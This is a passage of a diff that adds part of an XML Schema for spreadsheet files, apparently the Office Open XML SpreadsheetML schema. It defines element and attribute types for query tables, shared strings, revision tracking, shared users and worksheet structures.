<xsd:attribute name="minimumVersion" type="xsd:unsignedByte" use="optional" default="0"/> + <xsd:attribute name="nextId" type="xsd:unsignedInt" use="optional" default="1"/> + <xsd:attribute name="unboundColumnsLeft" type="xsd:unsignedInt" use="optional" default="0"/> + <xsd:attribute name="unboundColumnsRight" type="xsd:unsignedInt" use="optional" default="0"/> + </xsd:complexType> + <xsd:complexType name="CT_QueryTableDeletedFields"> + <xsd:sequence> + <xsd:element name="deletedField" type="CT_DeletedField" minOccurs="1" maxOccurs="unbounded"/> + </xsd:sequence> + <xsd:attribute name="count" type="xsd:unsignedInt" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_DeletedField"> + <xsd:attribute name="name" type="s:ST_Xstring" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_QueryTableFields"> + <xsd:sequence> + <xsd:element name="queryTableField" type="CT_QueryTableField" minOccurs="0" + maxOccurs="unbounded"/> + </xsd:sequence> + <xsd:attribute name="count" type="xsd:unsignedInt" use="optional" default="0"/> + </xsd:complexType> + <xsd:complexType name="CT_QueryTableField"> + <xsd:sequence minOccurs="0"> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="id" type="xsd:unsignedInt" use="required"/> + <xsd:attribute name="name" type="s:ST_Xstring" use="optional"/> + <xsd:attribute name="dataBound" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="rowNumbers" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="fillFormulas" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="clipped" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="tableColumnId" type="xsd:unsignedInt" default="0"/> + </xsd:complexType> + <xsd:simpleType name="ST_GrowShrinkType"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="insertDelete"/> + <xsd:enumeration value="insertClear"/> + <xsd:enumeration value="overwriteClear"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:element name="sst" type="CT_Sst"/> + <xsd:complexType name="CT_Sst"> + <xsd:sequence> + <xsd:element name="si" type="CT_Rst" minOccurs="0" maxOccurs="unbounded"/> + <xsd:element name="extLst" minOccurs="0" type="CT_ExtensionList"/> + </xsd:sequence> + <xsd:attribute name="count" type="xsd:unsignedInt" use="optional"/> + <xsd:attribute name="uniqueCount" type="xsd:unsignedInt" use="optional"/> + </xsd:complexType> + <xsd:simpleType name="ST_PhoneticType"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="halfwidthKatakana"/> + <xsd:enumeration value="fullwidthKatakana"/> + <xsd:enumeration value="Hiragana"/> + <xsd:enumeration value="noConversion"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_PhoneticAlignment"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="noControl"/> + <xsd:enumeration value="left"/> + <xsd:enumeration value="center"/> + <xsd:enumeration value="distributed"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_PhoneticRun"> + <xsd:sequence> + <xsd:element name="t" type="s:ST_Xstring" minOccurs="1" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="sb" type="xsd:unsignedInt" use="required"/> + <xsd:attribute name="eb" type="xsd:unsignedInt" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_RElt"> + <xsd:sequence> + <xsd:element name="rPr" type="CT_RPrElt" minOccurs="0" maxOccurs="1"/> + <xsd:element name="t" type="s:ST_Xstring" minOccurs="1" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_RPrElt"> + <xsd:choice maxOccurs="unbounded"> + <xsd:element name="rFont" type="CT_FontName" minOccurs="0" maxOccurs="1"/> + <xsd:element name="charset" type="CT_IntProperty" minOccurs="0" maxOccurs="1"/> + <xsd:element name="family" type="CT_IntProperty" minOccurs="0" maxOccurs="1"/> + <xsd:element name="b" type="CT_BooleanProperty" minOccurs="0" maxOccurs="1"/> + <xsd:element name="i" type="CT_BooleanProperty" minOccurs="0" maxOccurs="1"/> + <xsd:element name="strike" type="CT_BooleanProperty" minOccurs="0" maxOccurs="1"/> + <xsd:element name="outline" type="CT_BooleanProperty" minOccurs="0" maxOccurs="1"/> + <xsd:element name="shadow" type="CT_BooleanProperty" minOccurs="0" maxOccurs="1"/> + <xsd:element name="condense" type="CT_BooleanProperty" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extend" type="CT_BooleanProperty" minOccurs="0" maxOccurs="1"/> + <xsd:element name="color" type="CT_Color" minOccurs="0" maxOccurs="1"/> + <xsd:element name="sz" type="CT_FontSize" minOccurs="0" maxOccurs="1"/> + <xsd:element name="u" type="CT_UnderlineProperty" minOccurs="0" maxOccurs="1"/> + <xsd:element name="vertAlign" type="CT_VerticalAlignFontProperty" minOccurs="0" maxOccurs="1"/> + <xsd:element name="scheme" type="CT_FontScheme" minOccurs="0" maxOccurs="1"/> + </xsd:choice> + </xsd:complexType> + <xsd:complexType name="CT_Rst"> + <xsd:sequence> + <xsd:element name="t" type="s:ST_Xstring" minOccurs="0" maxOccurs="1"/> + <xsd:element name="r" type="CT_RElt" minOccurs="0" maxOccurs="unbounded"/> + <xsd:element name="rPh" type="CT_PhoneticRun" minOccurs="0" maxOccurs="unbounded"/> + <xsd:element name="phoneticPr" minOccurs="0" maxOccurs="1" type="CT_PhoneticPr"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_PhoneticPr"> + <xsd:attribute name="fontId" type="ST_FontId" use="required"/> + <xsd:attribute name="type" type="ST_PhoneticType" use="optional" default="fullwidthKatakana"/> + <xsd:attribute name="alignment" type="ST_PhoneticAlignment" use="optional" default="left"/> + </xsd:complexType> + <xsd:element name="headers" type="CT_RevisionHeaders"/> + <xsd:element name="revisions" type="CT_Revisions"/> + <xsd:complexType name="CT_RevisionHeaders"> + <xsd:sequence> + <xsd:element name="header" type="CT_RevisionHeader" minOccurs="1" maxOccurs="unbounded"/> + </xsd:sequence> + <xsd:attribute name="guid" type="s:ST_Guid" use="required"/> + <xsd:attribute name="lastGuid" type="s:ST_Guid" use="optional"/> + <xsd:attribute name="shared" type="xsd:boolean" default="true"/> + <xsd:attribute name="diskRevisions" type="xsd:boolean" default="false"/> + <xsd:attribute name="history" type="xsd:boolean" default="true"/> + <xsd:attribute name="trackRevisions" type="xsd:boolean" default="true"/> + <xsd:attribute name="exclusive" type="xsd:boolean" default="false"/> + <xsd:attribute name="revisionId" type="xsd:unsignedInt" default="0"/> + <xsd:attribute name="version" type="xsd:int" default="1"/> + <xsd:attribute name="keepChangeHistory" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="protected" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="preserveHistory" type="xsd:unsignedInt" default="30"/> + </xsd:complexType> + <xsd:complexType name="CT_Revisions"> + <xsd:choice maxOccurs="unbounded"> + <xsd:element name="rrc" type="CT_RevisionRowColumn" minOccurs="0" maxOccurs="unbounded"/> + <xsd:element name="rm" type="CT_RevisionMove" minOccurs="0" maxOccurs="unbounded"/> + <xsd:element name="rcv" type="CT_RevisionCustomView" minOccurs="0" maxOccurs="unbounded"/> + <xsd:element name="rsnm" type="CT_RevisionSheetRename" minOccurs="0" maxOccurs="unbounded"/> + <xsd:element name="ris" type="CT_RevisionInsertSheet" minOccurs="0" maxOccurs="unbounded"/> + <xsd:element name="rcc" type="CT_RevisionCellChange" minOccurs="0" maxOccurs="unbounded"/> + <xsd:element name="rfmt" type="CT_RevisionFormatting" minOccurs="0" maxOccurs="unbounded"/> + <xsd:element name="raf" type="CT_RevisionAutoFormatting" minOccurs="0" maxOccurs="unbounded"/> + <xsd:element name="rdn" type="CT_RevisionDefinedName" minOccurs="0" maxOccurs="unbounded"/> + <xsd:element name="rcmt" type="CT_RevisionComment" minOccurs="0" maxOccurs="unbounded"/> + <xsd:element name="rqt" type="CT_RevisionQueryTableField" minOccurs="0" maxOccurs="unbounded"/> + <xsd:element name="rcft" type="CT_RevisionConflict" minOccurs="0" maxOccurs="unbounded"/> + </xsd:choice> + </xsd:complexType> + <xsd:attributeGroup name="AG_RevData"> + <xsd:attribute name="rId" type="xsd:unsignedInt" use="required"/> + <xsd:attribute name="ua" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="ra" type="xsd:boolean" use="optional" default="false"/> + </xsd:attributeGroup> + <xsd:complexType name="CT_RevisionHeader"> + <xsd:sequence> + <xsd:element name="sheetIdMap" minOccurs="1" maxOccurs="1" type="CT_SheetIdMap"/> + <xsd:element name="reviewedList" minOccurs="0" maxOccurs="1" type="CT_ReviewedRevisions"/> + <xsd:element name="extLst" minOccurs="0" type="CT_ExtensionList"/> + </xsd:sequence> + <xsd:attribute name="guid" type="s:ST_Guid" use="required"/> + <xsd:attribute name="dateTime" type="xsd:dateTime" use="required"/> + <xsd:attribute name="maxSheetId" type="xsd:unsignedInt" use="required"/> + <xsd:attribute name="userName" type="s:ST_Xstring" use="required"/> + <xsd:attribute ref="r:id" use="required"/> + <xsd:attribute name="minRId" type="xsd:unsignedInt" use="optional"/> + <xsd:attribute name="maxRId" type="xsd:unsignedInt" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_SheetIdMap"> + <xsd:sequence> + <xsd:element name="sheetId" type="CT_SheetId" minOccurs="1" maxOccurs="unbounded"/> + </xsd:sequence> + <xsd:attribute name="count" type="xsd:unsignedInt" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_SheetId"> + <xsd:attribute name="val" type="xsd:unsignedInt" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_ReviewedRevisions"> + <xsd:sequence> + <xsd:element name="reviewed" type="CT_Reviewed" minOccurs="1" maxOccurs="unbounded"/> + </xsd:sequence> + <xsd:attribute name="count" type="xsd:unsignedInt" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_Reviewed"> + <xsd:attribute name="rId" type="xsd:unsignedInt" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_UndoInfo"> + <xsd:attribute name="index" type="xsd:unsignedInt" use="required"/> + <xsd:attribute name="exp" type="ST_FormulaExpression" use="required"/> + <xsd:attribute name="ref3D" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="array" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="v" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="nf" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="cs" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="dr" type="ST_RefA" use="required"/> + <xsd:attribute name="dn" type="s:ST_Xstring" use="optional"/> + <xsd:attribute name="r" type="ST_CellRef" use="optional"/> + <xsd:attribute name="sId" type="xsd:unsignedInt" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_RevisionRowColumn"> + <xsd:choice minOccurs="0" maxOccurs="unbounded"> + <xsd:element name="undo" type="CT_UndoInfo" minOccurs="0" maxOccurs="unbounded"/> + <xsd:element name="rcc" type="CT_RevisionCellChange" minOccurs="0" maxOccurs="unbounded"/> + <xsd:element name="rfmt" type="CT_RevisionFormatting" minOccurs="0" maxOccurs="unbounded"/> + </xsd:choice> + <xsd:attributeGroup ref="AG_RevData"/> + <xsd:attribute name="sId" type="xsd:unsignedInt" use="required"/> + <xsd:attribute name="eol" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="ref" type="ST_Ref" use="required"/> + <xsd:attribute name="action" type="ST_rwColActionType" use="required"/> + <xsd:attribute name="edge" type="xsd:boolean" use="optional" default="false"/> + </xsd:complexType> + <xsd:complexType name="CT_RevisionMove"> + <xsd:choice minOccurs="0" maxOccurs="unbounded"> + <xsd:element name="undo" type="CT_UndoInfo" minOccurs="0" maxOccurs="unbounded"/> + <xsd:element name="rcc" type="CT_RevisionCellChange" minOccurs="0" maxOccurs="unbounded"/> + <xsd:element name="rfmt" type="CT_RevisionFormatting" minOccurs="0" maxOccurs="unbounded"/> + </xsd:choice> + <xsd:attributeGroup ref="AG_RevData"/> + <xsd:attribute name="sheetId" type="xsd:unsignedInt" use="required"/> + <xsd:attribute name="source" type="ST_Ref" use="required"/> + <xsd:attribute name="destination" type="ST_Ref" use="required"/> + <xsd:attribute name="sourceSheetId" type="xsd:unsignedInt" use="optional" default="0"/> + </xsd:complexType> + <xsd:complexType name="CT_RevisionCustomView"> + <xsd:attribute name="guid" type="s:ST_Guid" use="required"/> + <xsd:attribute name="action" type="ST_RevisionAction" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_RevisionSheetRename"> + <xsd:sequence> + <xsd:element name="extLst" minOccurs="0" type="CT_ExtensionList"/> + </xsd:sequence> + <xsd:attributeGroup ref="AG_RevData"/> + <xsd:attribute name="sheetId" type="xsd:unsignedInt" use="required"/> + <xsd:attribute name="oldName" type="s:ST_Xstring" use="required"/> + <xsd:attribute name="newName" type="s:ST_Xstring" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_RevisionInsertSheet"> + <xsd:attributeGroup ref="AG_RevData"/> + <xsd:attribute name="sheetId" type="xsd:unsignedInt" use="required"/> + <xsd:attribute name="name" type="s:ST_Xstring" use="required"/> + <xsd:attribute name="sheetPosition" type="xsd:unsignedInt" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_RevisionCellChange"> + <xsd:sequence> + <xsd:element name="oc" type="CT_Cell" minOccurs="0" maxOccurs="1"/> + <xsd:element name="nc" type="CT_Cell" minOccurs="1" maxOccurs="1"/> + <xsd:element name="odxf" type="CT_Dxf" minOccurs="0" maxOccurs="1"/> + <xsd:element name="ndxf" type="CT_Dxf" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" minOccurs="0" type="CT_ExtensionList"/> + </xsd:sequence> + <xsd:attributeGroup ref="AG_RevData"/> + <xsd:attribute name="sId" type="xsd:unsignedInt" use="required"/> + <xsd:attribute name="odxf" type="xsd:boolean" default="false"/> + <xsd:attribute name="xfDxf" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="s" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="dxf" type="xsd:boolean" default="false"/> + <xsd:attribute name="numFmtId" type="ST_NumFmtId" use="optional"/> + <xsd:attribute name="quotePrefix" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="oldQuotePrefix" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="ph" type="xsd:boolean" default="false"/> + <xsd:attribute name="oldPh" type="xsd:boolean" default="false"/> + <xsd:attribute name="endOfListFormulaUpdate" type="xsd:boolean" default="false"/> + </xsd:complexType> + <xsd:complexType name="CT_RevisionFormatting"> + <xsd:sequence> + <xsd:element name="dxf" type="CT_Dxf" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" minOccurs="0" type="CT_ExtensionList"/> + </xsd:sequence> + <xsd:attribute name="sheetId" type="xsd:unsignedInt" use="required"/> + <xsd:attribute name="xfDxf" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="s" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="sqref" type="ST_Sqref" use="required"/> + <xsd:attribute name="start" type="xsd:unsignedInt" use="optional"/> + <xsd:attribute name="length" type="xsd:unsignedInt" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_RevisionAutoFormatting"> + <xsd:attribute name="sheetId" type="xsd:unsignedInt" use="required"/> + <xsd:attributeGroup ref="AG_AutoFormat"/> + <xsd:attribute name="ref" type="ST_Ref" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_RevisionComment"> + <xsd:attribute name="sheetId" type="xsd:unsignedInt" use="required"/> + <xsd:attribute name="cell" type="ST_CellRef" use="required"/> + <xsd:attribute name="guid" type="s:ST_Guid" use="required"/> + <xsd:attribute name="action" type="ST_RevisionAction" default="add"/> + <xsd:attribute name="alwaysShow" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="old" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="hiddenRow" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="hiddenColumn" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="author" type="s:ST_Xstring" use="required"/> + <xsd:attribute name="oldLength" type="xsd:unsignedInt" default="0"/> + <xsd:attribute name="newLength" type="xsd:unsignedInt" default="0"/> + </xsd:complexType> + <xsd:complexType name="CT_RevisionDefinedName"> + <xsd:sequence> + <xsd:element name="formula" type="ST_Formula" minOccurs="0" maxOccurs="1"/> + <xsd:element name="oldFormula" type="ST_Formula" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" minOccurs="0" type="CT_ExtensionList"/> + </xsd:sequence> + <xsd:attributeGroup ref="AG_RevData"/> + <xsd:attribute name="localSheetId" type="xsd:unsignedInt" use="optional"/> + <xsd:attribute name="customView" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="name" type="s:ST_Xstring" use="required"/> + <xsd:attribute name="function" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="oldFunction" type="xsd:boolean" default="false"/> + <xsd:attribute name="functionGroupId" type="xsd:unsignedByte" use="optional"/> + <xsd:attribute name="oldFunctionGroupId" type="xsd:unsignedByte" use="optional"/> + <xsd:attribute name="shortcutKey" type="xsd:unsignedByte" use="optional"/> + <xsd:attribute name="oldShortcutKey" type="xsd:unsignedByte" use="optional"/> + <xsd:attribute name="hidden" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="oldHidden" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="customMenu" type="s:ST_Xstring" use="optional"/> + <xsd:attribute name="oldCustomMenu" type="s:ST_Xstring" use="optional"/> + <xsd:attribute name="description" type="s:ST_Xstring" use="optional"/> + <xsd:attribute name="oldDescription" type="s:ST_Xstring" use="optional"/> + <xsd:attribute name="help" type="s:ST_Xstring" use="optional"/> + <xsd:attribute name="oldHelp" type="s:ST_Xstring" use="optional"/> + <xsd:attribute name="statusBar" type="s:ST_Xstring" use="optional"/> + <xsd:attribute name="oldStatusBar" type="s:ST_Xstring" use="optional"/> + <xsd:attribute name="comment" type="s:ST_Xstring" use="optional"/> + <xsd:attribute name="oldComment" type="s:ST_Xstring" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_RevisionConflict"> + <xsd:attributeGroup ref="AG_RevData"/> + <xsd:attribute name="sheetId" type="xsd:unsignedInt" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_RevisionQueryTableField"> + <xsd:attribute name="sheetId" type="xsd:unsignedInt" use="required"/> + <xsd:attribute name="ref" type="ST_Ref" use="required"/> + <xsd:attribute name="fieldId" type="xsd:unsignedInt" use="required"/> + </xsd:complexType> + <xsd:simpleType name="ST_rwColActionType"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="insertRow"/> + <xsd:enumeration value="deleteRow"/> + <xsd:enumeration value="insertCol"/> + <xsd:enumeration value="deleteCol"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_RevisionAction"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="add"/> + <xsd:enumeration value="delete"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_FormulaExpression"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="ref"/> + <xsd:enumeration value="refError"/> + <xsd:enumeration value="area"/> + <xsd:enumeration value="areaError"/> + <xsd:enumeration value="computedArea"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:element name="users" type="CT_Users"/> + <xsd:complexType name="CT_Users"> + <xsd:sequence> + <xsd:element name="userInfo" minOccurs="0" maxOccurs="256" type="CT_SharedUser"/> + </xsd:sequence> + <xsd:attribute name="count" type="xsd:unsignedInt" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_SharedUser"> + <xsd:sequence> + <xsd:element name="extLst" minOccurs="0" type="CT_ExtensionList"/> + </xsd:sequence> + <xsd:attribute name="guid" type="s:ST_Guid" use="required"/> + <xsd:attribute name="name" type="s:ST_Xstring" use="required"/> + <xsd:attribute name="id" type="xsd:int" use="required"/> + <xsd:attribute name="dateTime" type="xsd:dateTime" use="required"/> + </xsd:complexType> + <xsd:element name="worksheet" type="CT_Worksheet"/> + <xsd:element name="chartsheet" type="CT_Chartsheet"/> + <xsd:element name="dialogsheet" type="CT_Dialogsheet"/> + <xsd:complexType name="CT_Macrosheet"> + <xsd:sequence> + <xsd:element name="sheetPr" type="CT_SheetPr" minOccurs="0" maxOccurs="1"/> + <xsd:element name="dimension" type="CT_SheetDimension" minOccurs="0" maxOccurs="1"/> + <xsd:element name="sheetViews" type="CT_SheetViews" minOccurs="0" maxOccurs="1"/> + <xsd:element name="sheetFormatPr" type="CT_SheetFormatPr" minOccurs="0" maxOccurs="1"/> + <xsd:element name="cols" type="CT_Cols" minOccurs="0" maxOccurs="unbounded"/> + <xsd:element name="sheetData" type="CT_SheetData" minOccurs="1" maxOccurs="1"/> + <xsd:element name="sheetProtection" type="CT_SheetProtection" minOccurs="0" maxOccurs="1"/> + <xsd:element name="autoFilter" type="CT_AutoFilter" minOccurs="0" maxOccurs="1"/> + <xsd:element name="sortState" type="CT_SortState" minOccurs="0" maxOccurs="1"/> + <xsd:element name="dataConsolidate" type="CT_DataConsolidate" minOccurs="0" maxOccurs="1"/> + <xsd:element name="customSheetViews" type="CT_CustomSheetViews" minOccurs="0" maxOccurs="1"/> + <xsd:element name="phoneticPr" type="CT_PhoneticPr" minOccurs="0" maxOccurs="1"/> + <xsd:element name="conditionalFormatting" type="CT_ConditionalFormatting" minOccurs="0" + maxOccurs="unbounded"/> + <xsd:element name="printOptions" type="CT_PrintOptions" minOccurs="0" maxOccurs="1"/> + <xsd:element name="pageMargins" type="CT_PageMargins" minOccurs="0" maxOccurs="1"/> + <xsd:element name="pageSetup" type="CT_PageSetup" minOccurs="0" maxOccurs="1"/> + <xsd:element name="headerFooter" type="CT_HeaderFooter" minOccurs="0" maxOccurs="1"/> + <xsd:element name="rowBreaks" type="CT_PageBreak" minOccurs="0" maxOccurs="1"/> + <xsd:element name="colBreaks" type="CT_PageBreak" minOccurs="0" maxOccurs="1"/> + <xsd:element name="customProperties" type="CT_CustomProperties" minOccurs="0" maxOccurs="1"/> + <xsd:element name="drawing" type="CT_Drawing" minOccurs="0" maxOccurs="1"/> + <xsd:element name="legacyDrawing" type="CT_LegacyDrawing" minOccurs="0" maxOccurs="1"/> + <xsd:element name="legacyDrawingHF" type="CT_LegacyDrawing" minOccurs="0" maxOccurs="1"/> + <xsd:element name="drawingHF" type="CT_DrawingHF" minOccurs="0" maxOccurs="1"/> + <xsd:element name="picture" type="CT_SheetBackgroundPicture" minOccurs="0" maxOccurs="1"/> + <xsd:element name="oleObjects" type="CT_OleObjects" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" minOccurs="0" type="CT_ExtensionList"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_Dialogsheet"> + <xsd:sequence> + <xsd:element name="sheetPr" minOccurs="0" type="CT_SheetPr"/> + <xsd:element name="sheetViews" minOccurs="0" type="CT_SheetViews"/> + <xsd:element name="sheetFormatPr" minOccurs="0" type="CT_SheetFormatPr"/> + <xsd:element name="sheetProtection" type="CT_SheetProtection" minOccurs="0" maxOccurs="1"/> + <xsd:element name="customSheetViews" minOccurs="0" type="CT_CustomSheetViews"/> + <xsd:element name="printOptions" minOccurs="0" type="CT_PrintOptions"/> + <xsd:element name="pageMargins" minOccurs="0" type="CT_PageMargins"/> + <xsd:element name="pageSetup" minOccurs="0" type="CT_PageSetup"/> + <xsd:element name="headerFooter" minOccurs="0" type="CT_HeaderFooter"/> + <xsd:element name="drawing" minOccurs="0" type="CT_Drawing"/> + <xsd:element name="legacyDrawing" minOccurs="0" type="CT_LegacyDrawing"/> + <xsd:element name="legacyDrawingHF" type="CT_LegacyDrawing" minOccurs="0" maxOccurs="1"/> + <xsd:element name="drawingHF" type="CT_DrawingHF" minOccurs="0" maxOccurs="1"/> + <xsd:element name="oleObjects" type="CT_OleObjects" minOccurs="0" maxOccurs="1"/> + <xsd:element name="controls" type="CT_Controls" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" minOccurs="0" type="CT_ExtensionList"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_Worksheet"> + <xsd:sequence> + <xsd:element name="sheetPr" type="CT_SheetPr" minOccurs="0" maxOccurs="1"/> + <xsd:element name="dimension" type="CT_SheetDimension" minOccurs="0" maxOccurs="1"/> + <xsd:element name="sheetViews" type="CT_SheetViews" minOccurs="0" maxOccurs="1"/> + <xsd:element name="sheetFormatPr" type="CT_SheetFormatPr" minOccurs="0" maxOccurs="1"/> + <xsd:element name="cols" type="CT_Cols" minOccurs="0" maxOccurs="unbounded"/> + <xsd:element name="sheetData" type="CT_SheetData" minOccurs="1" maxOccurs="1"/> + <xsd:element name="sheetCalcPr" type="CT_SheetCalcPr" minOccurs="0" maxOccurs="1"/> + <xsd:element name="sheetProtection" type="CT_SheetProtection" minOccurs="0" maxOccurs="1"/> + <xsd:element name="protectedRanges" type="CT_ProtectedRanges" minOccurs="0" maxOccurs="1"/> + <xsd:element name="scenarios" type="CT_Scenarios" minOccurs="0" maxOccurs="1"/> + <xsd:element name="autoFilter" type="CT_AutoFilter" minOccurs="0" maxOccurs="1"/> + <xsd:element name="sortState" type="CT_SortState" minOccurs="0" maxOccurs="1"/> + <xsd:element name="dataConsolidate" type="CT_DataConsolidate" minOccurs="0" maxOccurs="1"/> + <xsd:element name="customSheetViews" type="CT_CustomSheetViews" minOccurs="0" maxOccurs="1"/> + <xsd:element name="mergeCells" type="CT_MergeCells" minOccurs="0" maxOccurs="1"/> + <xsd:element name="phoneticPr" type="CT_PhoneticPr" minOccurs="0" maxOccurs="1"/> + <xsd:element name="conditionalFormatting" type="CT_ConditionalFormatting" minOccurs="0" + maxOccurs="unbounded"/> + <xsd:element name="dataValidations" type="CT_DataValidations" minOccurs="0" maxOccurs="1"/> + <xsd:element name="hyperlinks" type="CT_Hyperlinks" minOccurs="0" maxOccurs="1"/> + <xsd:element name="printOptions" type="CT_PrintOptions" minOccurs="0" maxOccurs="1"/> + <xsd:element name="pageMargins" type="CT_PageMargins" minOccurs="0" maxOccurs="1"/> + <xsd:element name="pageSetup" type="CT_PageSetup" minOccurs="0" maxOccurs="1"/> + <xsd:element name="headerFooter" type="CT_HeaderFooter" minOccurs="0" maxOccurs="1"/> + <xsd:element name="rowBreaks" type="CT_PageBreak" minOccurs="0" maxOccurs="1"/> + <xsd:element name="colBreaks" type="CT_PageBreak" minOccurs="0" maxOccurs="1"/> + <xsd:element name="customProperties" type="CT_CustomProperties" minOccurs="0" maxOccurs="1"/> + <xsd:element name="cellWatches" type="CT_CellWatches" minOccurs="0" maxOccurs="1"/> + <xsd:element name="ignoredErrors" type="CT_IgnoredErrors" minOccurs="0" maxOccurs="1"/> + <xsd:element name="smartTags" type="CT_SmartTags" minOccurs="0" maxOccurs="1"/> + <xsd:element name="drawing" type="CT_Drawing" minOccurs="0" maxOccurs="1"/> + <xsd:element name="legacyDrawing" type="CT_LegacyDrawing" minOccurs="0" maxOccurs="1"/> + <xsd:element name="legacyDrawingHF" type="CT_LegacyDrawing" minOccurs="0" maxOccurs="1"/> + <xsd:element name="drawingHF" type="CT_DrawingHF" minOccurs="0" maxOccurs="1"/> + <xsd:element name="picture" type="CT_SheetBackgroundPicture" minOccurs="0" maxOccurs="1"/> + <xsd:element name="oleObjects" type="CT_OleObjects" minOccurs="0" maxOccurs="1"/> + <xsd:element name="controls" type="CT_Controls" minOccurs="0" maxOccurs="1"/> + <xsd:element name="webPublishItems" type="CT_WebPublishItems" minOccurs="0" maxOccurs="1"/> + <xsd:element name="tableParts" type="CT_TableParts" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_SheetData"> + <xsd:sequence> + <xsd:element name="row" type="CT_Row" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_SheetCalcPr"> + <xsd:attribute name="fullCalcOnLoad" type="xsd:boolean" use="optional" default="false"/> + </xsd:complexType> + <xsd:complexType name="CT_SheetFormatPr"> + <xsd:attribute name="baseColWidth" type="xsd:unsignedInt" use="optional" default="8"/> + <xsd:attribute name="defaultColWidth" type="xsd:double" use="optional"/> + <xsd:attribute name="defaultRowHeight" type="xsd:double" use="required"/> + <xsd:attribute name="customHeight" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="zeroHeight" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="thickTop" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="thickBottom" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="outlineLevelRow" type="xsd:unsignedByte" use="optional" default="0"/> + <xsd:attribute name="outlineLevelCol" type="xsd:unsignedByte" use="optional" default="0"/> + </xsd:complexType> + <xsd:complexType name="CT_Cols"> + <xsd:sequence> + <xsd:element name="col" type="CT_Col" minOccurs="1" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_Col"> + <xsd:attribute name="min" type="xsd:unsignedInt" use="required"/> + <xsd:attribute name="max" type="xsd:unsignedInt" use="required"/> + <xsd:attribute name="width" type="xsd:double" use="optional"/> + <xsd:attribute name="style" type="xsd:unsignedInt" use="optional" default="0"/> + <xsd:attribute name="hidden" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="bestFit" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="customWidth" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="phonetic" type="xsd:boolean" use="optional" 